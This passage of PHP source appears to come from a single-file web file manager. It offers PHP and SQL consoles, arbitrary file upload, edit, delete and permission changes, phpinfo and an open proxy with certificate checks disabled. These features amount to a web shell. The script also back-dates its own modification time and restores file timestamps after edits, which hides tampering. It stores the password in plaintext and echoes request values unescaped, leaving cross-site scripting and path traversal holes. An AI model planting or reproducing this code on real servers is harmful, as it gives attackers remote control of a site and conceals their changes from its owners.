$ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_fileSet($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_fileSet($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth_local['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) { setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_authorization'])); $_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']); } } if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth_local['cookie_name']]); setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth_local['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fms_config = $_POST['fm_config']; setcookie('fm_config', serialize($fms_config), time() + (86400 * $auth_local['days_authorization'])); $_COOKIE['fm_config'] = serialize($fms_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc_check = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc_check); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth_local['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth_local['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth_local = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc_check = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc_check); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fms_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0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8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC"); } .file { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jk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0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fms_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fms_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_myfile').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fms_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fms_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fms_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fms_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_local['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fms_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fms_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth_local['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fms_config['upload_myfile'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_fileSet(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fms_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_fileSet($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in fileSet').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fms_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no fileSet'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no fileSet'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no fileSet'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fms_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fms_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fms_config['upload_myfile'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" 